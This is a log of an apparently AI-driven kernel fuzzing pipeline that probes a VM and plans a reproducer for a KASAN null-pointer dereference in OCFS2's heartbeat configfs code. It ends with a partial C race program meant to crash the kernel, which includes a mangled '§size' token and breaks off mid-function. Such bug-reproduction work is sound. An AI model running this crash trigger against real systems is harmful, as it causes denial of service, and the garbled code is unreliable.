[ 61.377104][ T33] audit: type=1400 audit(1788554719.847:201): avc: denied { transition } for pid=5825 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.392311][ T33] audit: type=1400 audit(1788554719.847:202): avc: denied { noatsecure } for pid=5825 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.398762][ T33] audit: type=1400 audit(1788554719.847:203): avc: denied { rlimitinh } for pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.405026][ T33] audit: type=1400 audit(1788554719.857:204): avc: denied { siginh } for pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 63.960242][ T33] audit: type=1400 audit(1788554722.427:205): avc: denied { write } for pid=5832 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 63.992683][ T33] audit: type=1400 audit(1788554722.467:206): avc: denied { write } for pid=5835 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.504121][ T33] audit: type=1400 audit(1788554722.977:207): avc: denied { write } for pid=5842 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.537662][ T33] audit: type=1400 audit(1788554723.007:208): avc: denied { write } for pid=5845 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.600941][ T33] audit: type=1400 audit(1788554723.067:209): avc: denied { write } for pid=5848 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.640340][ T33] audit: type=1400 audit(1788554723.107:210): avc: denied { write } for pid=5851 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:55719' (ED25519) to the list of known hosts.
execve("/syz-executor2769299323", ["/syz-executor2769299323"], 0x7ffd14f33690 /* 11 vars */) = 0
brk(NULL) = 0x55556de52000
brk(0x55556de52d80) = 0x55556de52d80
arch_prctl(ARCH_SET_FS, 0x55556de52400) = 0
set_tid_address(0x55556de526d0) = 5869
set_robust_list(0x55556de526e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2769299323", 4096) = 23
getrandom("\x7b\xc9\x15\x13\x45\x7c\xe3\xf0", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x55556de52d80
brk(0x55556de73d80) = 0x55556de73d80
brk(0x55556de74000) = 0x55556de74000
mprotect(0x7fd0f8095000, 20480, PROT_READ) = 0
mount("configfs", "/sys/kernel/config", "configfs", 0, NULL) = -1 EBUSY (Device or resource busy)
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config/cluster", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
openat(AT_FDCWD, "/dev/loop0", O_RDWR) = 3
close(3) = 0
write(1, "[+] configfs mounted or already mounted.\n[+] /sys/kernel/config/cluster exists.\n[+] /dev/loop0 opene"..., 143) = 143
exit_group(0) = ?
+++ exited with 0 +++
[+] configfs mounted or already mounted.
[+] /sys/kernel/config/cluster exists.
[+] /dev/loop0 opened successfully.
[+] All probes successful.
[ 66.401030][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 66.401040][ T33] audit: type=1400 audit(1788554724.867:221): avc: denied { write } for pid=5886 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.692135][ T33] audit: type=1400 audit(1788554725.157:222): avc: denied { write } for pid=5889 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.725029][ T33] audit: type=1400 audit(1788554725.197:223): avc: denied { write } for pid=5892 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 71.534201][ T1373] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.536407][ T1373] ieee802154 phy1 wpan1: encryption failed: -22
]
|
| 78/3 |
2026/09/04 20:45 |
agent |
repro-oracle |
0m
Model:
Results: map[Feedback:The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible). Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store. ProbePassed:true TerminalError: TitleMatches:false]
Instruction: You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.
=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
meaning the codebase version is mismatched and the target code is absent.
=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.
=== PHASE 1: CAPABILITY PROBING (EVALUATION) ===
The executed program was a simple environment probe.
Use this to guide your classification and feedback:
1. If the execution was successful (all environment/subsystem probes passed and program exited with 0),
set the field 'ProbePassed' to true and provide feedback explicitly indicating that the environment
is ready and the agent should now proceed to generate the full reproducer in the next iteration.
2. If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
set the field 'ProbePassed' to false, and explain what failed in the 'Feedback'
field so the generator can adjust its setups.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: null-ptr-deref Write in fput
(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664
CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:186 [inline]
kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
file_ref_put include/linux/file_ref.h:157 [inline]
fput+0x2e/0x100 fs/file_table.c:588
o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
flush_write_buffer fs/configfs/file.c:207 [inline]
configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x6ac/0x1050 fs/read_write.c:687
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
</TASK>
==================================================================
IsProbe: true
Reproduced: false
Console Output: [ 66.200632][ T33] audit: type=1400 audit(1788554639.885:203): avc: denied { transition } for pid=5822 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 66.208123][ T33] audit: type=1400 audit(1788554639.885:204): avc: denied { noatsecure } for pid=5822 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 66.214693][ T33] audit: type=1400 audit(1788554639.885:205): avc: denied { rlimitinh } for pid=5822 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 66.221020][ T33] audit: type=1400 audit(1788554639.885:206): avc: denied { siginh } for pid=5822 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:23825' (ED25519) to the list of known hosts.
[ 68.498062][ T33] audit: type=1400 audit(1788554642.185:207): avc: denied { write } for pid=5833 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 68.541628][ T33] audit: type=1400 audit(1788554642.225:208): avc: denied { write } for pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[+] configfs mounted or already mounted.
[+] /sys/kernel/config/cluster exists.
[+] /dev/loop0 opened successfully.
[+] All probes successful.
[ 68.553968][ T33] audit: type=1400 audit(1788554642.245:209): avc: denied { mounton } for pid=5837 comm="syz-executor347" path="/sys/kernel/config" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 68.575707][ T33] audit: type=1400 audit(1788554642.245:210): avc: denied { mount } for pid=5837 comm="syz-executor347" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[ 68.590155][ T33] audit: type=1400 audit(1788554642.245:211): avc: denied { search } for pid=5837 comm="syz-executor347" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 68.754476][ T33] audit: type=1400 audit(1788554642.445:212): avc: denied { write } for pid=5842 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 72.444229][ T1375] ieee802154 phy0 wpan0: encryption failed: -22
[ 72.446882][ T1375] ieee802154 phy1 wpan1: encryption failed: -22
Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2769299323
<...>
[ 61.377091][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 61.377104][ T33] audit: type=1400 audit(1788554719.847:201): avc: denied { transition } for pid=5825 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.392311][ T33] audit: type=1400 audit(1788554719.847:202): avc: denied { noatsecure } for pid=5825 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.398762][ T33] audit: type=1400 audit(1788554719.847:203): avc: denied { rlimitinh } for pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.405026][ T33] audit: type=1400 audit(1788554719.857:204): avc: denied { siginh } for pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 63.960242][ T33] audit: type=1400 audit(1788554722.427:205): avc: denied { write } for pid=5832 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 63.992683][ T33] audit: type=1400 audit(1788554722.467:206): avc: denied { write } for pid=5835 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.504121][ T33] audit: type=1400 audit(1788554722.977:207): avc: denied { write } for pid=5842 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.537662][ T33] audit: type=1400 audit(1788554723.007:208): avc: denied { write } for pid=5845 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.600941][ T33] audit: type=1400 audit(1788554723.067:209): avc: denied { write } for pid=5848 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.640340][ T33] audit: type=1400 audit(1788554723.107:210): avc: denied { write } for pid=5851 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:55719' (ED25519) to the list of known hosts.
execve("/syz-executor2769299323", ["/syz-executor2769299323"], 0x7ffd14f33690 /* 11 vars */) = 0
brk(NULL) = 0x55556de52000
brk(0x55556de52d80) = 0x55556de52d80
arch_prctl(ARCH_SET_FS, 0x55556de52400) = 0
set_tid_address(0x55556de526d0) = 5869
set_robust_list(0x55556de526e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2769299323", 4096) = 23
getrandom("\x7b\xc9\x15\x13\x45\x7c\xe3\xf0", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x55556de52d80
brk(0x55556de73d80) = 0x55556de73d80
brk(0x55556de74000) = 0x55556de74000
mprotect(0x7fd0f8095000, 20480, PROT_READ) = 0
mount("configfs", "/sys/kernel/config", "configfs", 0, NULL) = -1 EBUSY (Device or resource busy)
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config/cluster", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
openat(AT_FDCWD, "/dev/loop0", O_RDWR) = 3
close(3) = 0
write(1, "[+] configfs mounted or already mounted.\n[+] /sys/kernel/config/cluster exists.\n[+] /dev/loop0 opene"..., 143) = 143
exit_group(0) = ?
+++ exited with 0 +++
[+] configfs mounted or already mounted.
[+] /sys/kernel/config/cluster exists.
[+] /dev/loop0 opened successfully.
[+] All probes successful.
[ 66.401030][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 66.401040][ T33] audit: type=1400 audit(1788554724.867:221): avc: denied { write } for pid=5886 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.692135][ T33] audit: type=1400 audit(1788554725.157:222): avc: denied { write } for pid=5889 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.725029][ T33] audit: type=1400 audit(1788554725.197:223): avc: denied { write } for pid=5892 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 71.534201][ T1373] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.536407][ T1373] ieee802154 phy1 wpan1: encryption failed: -22
Crash Report:
|
| 79/4 |
2026/09/04 20:45 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 8329
output: 100
thoughts: 462
Thoughts: **My Thought Process Regarding the KASAN Bug Report**
Alright, so I've just encountered a bug report detailing a KASAN null-pointer dereference occurring within the `fput` function, specifically when it's invoked from `o2hb_region_dev_store`. This is the core of the problem I need to address.
Looking at the context of the probe that triggered this, it seems the setup was successful. My probe managed to mount the `configfs`, locate the `/sys/kernel/config/cluster` path, and even open `/dev/loop0`. Crucially, the probe itself completed with an exit code of 0, which signifies that the environment was prepared and ready for the subsequent operations.
Given this successful probe execution, my immediate next step is to report this outcome using the `set-results` tool. I need to clearly indicate that the probe itself passed, so I'll be setting `ProbePassed: true`. Since the bug *didn't* manifest during this probe run – the system didn't crash in the way the bug report describes – I should mark `TitleMatches: false`. There's no terminal error to report from my side, so `TerminalError: ""` will be set. I'll also ensure to provide any other relevant feedback that might be helpful.
Now, let's delve into the specifics of the KASAN report itself to understand the failure path that was *observed* (even if not by my current probe run). The report clearly points to `BUG: KASAN: null-ptr-deref` originating in `instrument_atomic_read_write`, then cascading through `atomic_long_dec_return` and `file_ref_put`, before ultimately landing in `fput` at `fs/file_table.c:588`. The actual write operation that failed occurred at `addr 0000000000000158` and was performed by a task named `syz-executor157/5664`. The call trace shows the path: `fput` -> `o2hb_region_dev_store` -> `flush_write_buffer` -> `configfs_write_iter`. This confirms the function calls that led to the observed crash.
So, to reiterate, my primary action is to report the successful probe. The KASAN bug itself is a separate issue that was *reported* but not *triggered* by the probe in this instance. My immediate concern is accurately reflecting the probe's status.
|
| 80/4 |
2026/09/04 20:45 |
tool |
set-results |
0m
Args: map[Feedback:The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible). Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store. ProbePassed:true TerminalError: TitleMatches:false]
Results: map[Feedback:The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible). Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store. ProbePassed:true TerminalError: TitleMatches:false]
|
| 81/3 |
2026/09/04 20:45 |
action |
loop-controller |
0m
Results: map[CapabilitiesVerified:true ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible). Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]
|
| 82/2 |
2026/09/04 20:45 |
iteration |
1 |
13m
|
| 83/3 |
2026/09/04 20:45 |
action |
If |
5m
Args: map[OracleFeedback:The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible). Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store.]
|
| 84/4 |
2026/09/04 20:45 |
agent |
strategy-refiner |
5m
Model:
Instruction: You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Analyze the technical diagnosis provided in the oracle feedback and translate it into concrete,
step-by-step instructions for the repro-generator on how to modify the code structure, alignments,
offsets, or parameters of the candidate program.
=== TOOL SELECTION GUIDELINES ===
- Prefer codesearch-definition-source and codesearch-struct-layout first for symbol lookups.
- Fall back to read-file or grepper for macros, headers, or if symbol lookup fails.
=== CRITICAL PROHIBITIONS ===
- Do NOT repeat searches for the same symbols or files. Use information you have already gathered.
- Do NOT write long explanations. Keep your reasoning short and focused on actionable changes.
- Do NOT assume a bug is fixed based on git commit history.
- If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.
Prompt: Bug Description: KASAN: null-ptr-deref Write in fput
(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664
CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:186 [inline]
kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
file_ref_put include/linux/file_ref.h:157 [inline]
fput+0x2e/0x100 fs/file_table.c:588
o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
flush_write_buffer fs/configfs/file.c:207 [inline]
configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x6ac/0x1050 fs/read_write.c:687
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
</TASK>
==================================================================
Current Strategy: An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.
### Root Cause Analysis
The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`.
When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
```c
out:
if (ret < 0) {
// ...
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
}
```
Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.
### Reproduction Strategy
To reproduce this bug reliably, we can intentionally force the `sectsize` check to fail while hammering the `dev` attribute from two threads.
1. **Setup Configfs and OCFS2 Cluster:**
- Mount `configfs` and load the `ocfs2_nodemanager` module.
- Create a cluster and a local node (`/sys/kernel/config/cluster/mycluster/node/mynode`).
- Configure the node's `num`, `ipv4_port`, `ipv4_address`, and set `local` to `1`.
2. **Setup Heartbeat Region:**
- Create a heartbeat region (`/sys/kernel/config/cluster/mycluster/heartbeat/myregion`).
- Set `blocks` and `start_block` to `1`.
- Open a block device (e.g., `/dev/loop0`) and query its logical block size (usually 512).
- Write a deliberately mismatched value (e.g., 1024) to the region's `block_bytes` attribute to guarantee the `sectsize` check will fail.
3. **Trigger the Race:**
- Open the region's `dev` attribute twice to obtain two independent file descriptors (this bypasses the per-file `configfs_buffer->mutex` serialization).
- Spawn two threads pinned to different CPUs.
- In a tight loop, both threads use `pwrite()` to write the block device's file descriptor string to their respective `dev` attribute file descriptors.
- The race window is relatively large because `bdev_file_open_by_dev()` takes time, making the crash highly reproducible within seconds.
### Minimal C Reproducer
```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
void *thread_func1(void *arg)
{
PIN_TO_CPU(0);
while (1) {
pwrite(dev_attr_fd1, fd_str, strlen(fd_str), 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
PIN_TO_CPU(1);
while (1) {
pwrite(dev_attr_fd2, fd_str, strlen(fd_str), 0);
}
return NULL;
}
int main()
{
SETUP_UNBUFFERED_IO();
system("mount -t configfs none /sys/kernel/config 2>/dev/null");
system("modprobe ocfs2_nodemanager 2>/dev/null");
system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");
system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
perror("open block device");
return 1;
}
}
sprintf(fd_str, "%d", dev_fd);
// Force sectsize mismatch to guarantee failure and trigger the cleanup path
int sectsize = 512;
ioctl(dev_fd, BLKSSZGET, §size);
int block_bytes = (sectsize == 512) ? 1024 : 512;
char cmd[256];
sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
system(cmd);
// Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
perror("open dev attr");
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 5.0)) {
sleep(1);
}
